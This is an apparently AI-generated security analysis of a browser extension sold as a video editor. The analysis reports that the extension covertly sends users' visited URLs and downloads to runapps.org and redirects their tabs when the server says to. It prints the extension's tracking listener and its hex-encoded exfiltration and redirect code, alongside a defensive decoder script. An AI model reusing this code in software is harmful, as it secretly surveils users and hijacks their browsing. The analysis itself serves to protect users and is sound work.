Is Shotcut online video editor safe?
Shotcut online video editor sends every visited URL and download to runapps.org and can redirect the tab based on the server's reply.
The extension monitors every page navigation and file download, hex-encodes the matched URL or filename together with a persistent per-install tracking ID, and sends it to runapps.org. If the server's response contains a specific flag, the extension redirects the current tab (for navigations) or opens a new foreground tab (for downloads) to a runapps.org URL. The popup's advertised video-editor functionality is also just an iframe loading a runapps.org web app, tagged with the same tracking ID.
Who publishes itOD Group - 7 other listings from the same operator, 5 of them carrying a finding
OD Group - 7 other listings from the same operator, 5 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
7 other listings published from this account, 27k+ users between them. 5 of them carry a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Shotcut video editor extension sends your page visits, downloads to runapps.org
Code analysis shows the extension checks every page you visit and every file you download against a keyword list controlled by runapps.org, then hex-encodes the matching URL and a persistent per-device ID and sends both to that domain.
You visit a website, or a file download starts.
The extension's background script listens for every top-frame navigation and every download event.
If the URL or filename matches a word on a remote list, the extension hex-encodes it and sends it to runapps.org together with a tracking ID unique to your install.
The keyword list that decides what counts as a match is itself fetched from and controlled by runapps.org.
| Field | Value | Why it matters | |
|---|---|---|---|
Page or download URL | https://example.com/files/report.pdf | The exact address of the page you visited, or the URL/filename of the file you downloaded, when it matches a keyword. | |
Tracking ID | k3jd82p9qz | A 10-character ID generated once per install, sent with every match so runapps.org can link separate visits back to the same device. | |
Encoding flag | hex=1 | Tells the server that the URL field above was hex-encoded before sending. |
The matched URL is hex-encoded before it's placed in the request, so it doesn't read as a plain URL at a glance in a network log.
https://example.com/files/report.pdf|||xx
The navigation listener that decides what counts as a match (runapps.js)
chrome.webNavigation.onCommitted.addListener(function (dteailsx) {
refreshTypesIfNeeded();
if (dteailsx && dteailsx.url) {
console.log(dteailsx.url);
if (dteailsx.frameId !== 0) return;
// transitionType filter still matches ordinary link clicks/typed URLs,
// not just iframe navigations.
if (dteailsx.transitionType && (dteailsx.transitionType.indexOf("frame") <= 0)) {
let urrxx = dteailsx.url;
chrome.storage.local.get("runappsme", function (data) {
if (data.runappsme === false || data.runappsme === "0") return;
// rtdata is the keyword list, itself fetched from runapps.org
// and refreshed hourly by refreshTypesIfNeeded().
chrome.storage.local.get("rtdata", function (result) {
if (!result.rtdata) return;
let data = result.rtdata.trim();
if (data.startsWith("<xml>") && data.endsWith("</xml>")) {
data = data.substring(5, data.length - 6);
}
const fileKeywords = data.split(";").map(item => item.trim()).filter(item => item.length > 0);
for (const keyword of fileKeywords) {
// Plain substring match against the full navigated URL.
if (urrxx.includes(keyword)) {
// Remembers which tab navigated, so a later redirect
// (see the opcx() snippet) can target this exact tab.
LAST_NAV_TABID = dteailsx.tabId;
OPCX_CONTEXT = "nav";
// Sends the matched URL to runapps.org.
opcx(urrxx + "|||xx", uuyyyu);
return;
}
}
});
});
}
}
}, {
// hostContains: '.' matches essentially every navigation to any domain.
url: [{ hostContains: '.' }],
});- www.runapps.org
Receives the hex-encoded page/download URL and the per-install tracking ID; also supplies the keyword list that decides what counts as a match.
Decodes the hex-encoded 'fpah' parameter from a captured runapps.org chek-shotcut.php request back into the original URL, so you can verify what a given request actually contains.
// Usage: node decode-runapps-request.js '<full request URL>'
const url = new URL(process.argv[2]);
const fpah = url.searchParams.get('fpah');
if (!fpah) {
console.error('No fpah parameter found in that URL.');
process.exit(1);
}
const bytes = Buffer.from(fpah, 'hex');
console.log('Decoded value:', bytes.toString('utf8'));
console.log('uuyy (tracking ID):', url.searchParams.get('uuyy'));
- 1Capture a chek-shotcut.php request URL from devtools/proxy.
- 2Run: node decode-runapps-request.js "<url>".
- 3The script prints the original page/download URL and the tracking ID.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Shotcut extension redirects your tab when runapps.org's server says to
Code analysis shows that when runapps.org's response to the check request contains the text '1302', the extension navigates your current tab, or opens a new tab, to a runapps.org page, without asking you first.
runapps.org's check endpoint responds with a body containing the text '1302'.
This follows a page visit or download that already matched a keyword from runapps.org's own list.
The extension navigates your current tab, or opens a new tab, to a runapps.org page built from that same visited/downloaded URL.
No prompt or notification is shown before the tab changes.
| Field | Value | Why it matters | |
|---|---|---|---|
Redirect destination | https://www.runapps.org/app/view-shotcut.php?service=runapps&fpath=68747470733a2f2f6578616d706c652e636f6d2f66696c65732f7265706f72742e7064667c7c7c7878&hex=1&uuyy=k3jd82p9qz | A runapps.org page built from the page/download URL that matched, hex-encoded the same way as the check request. | |
Redirect switch | 1302 | The text '1302' appearing anywhere in the server's response is the only thing that decides whether your tab gets redirected. |
The redirect logic (runapps.js)
async function opcx(urrxxx, uuyyyu) {
// urrxxx is "<matched URL>|||xx"; b2dx() hex-encodes it. uuyyyu is the
// 10-character tracking ID generated once per install.
let rck1 = await fetch('https://www.runapps.org/app/chek-shotcut.php?fpah=' + b2dx(urrxxx) + '&hex=1&uuyy=' + uuyyyu);
if (rck1.status === 200) {
let dcheck = await rck1.text();
// The ONLY thing that decides whether this tab gets redirected: does
// the server's response body contain the literal text "1302"?
if (dcheck.indexOf("1302") !== -1) {
var newURL = 'https://www.runapps.org/app/view-shotcut.php?service=runapps&fpath=' + b2dx(urrxxx) + '&hex=1&uuyy=' + uuyyyu;
// Download match: leave the download running, pop a new
// foreground tab pointed at runapps.org.
if (OPCX_CONTEXT === "download") {
chrome.tabs.create({ url: newURL, active: true });
return;
}
// Navigation match: LAST_NAV_TABID was captured by the listener
// above, so this replaces the exact tab you just navigated in,
// with no prompt.
if (typeof LAST_NAV_TABID === "number" && LAST_NAV_TABID >= 0) {
chrome.tabs.update(LAST_NAV_TABID, { url: newURL });
} else {
// fallback
chrome.tabs.create({ url: newURL, active: true });
}
}
}
}The extension always sends a check-in request first and only redirects if that response contains '1302'. Since runapps.org makes the decision, which visits redirect can vary by device, time, or server-side rule with no code change.
- www.runapps.org
Decides via its response body whether to redirect the tab, and serves the destination page the tab is redirected to.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.1.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See every page you navigate to, as you navigate to it
webNavigation
Start, monitor and manage your downloads
downloads
Where it sends data
Destinations our analysis observed Shotcut online video editor contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- runapps.org
Shotcut online video editor sends data to runapps.org. No other extension we have analysed sends data here.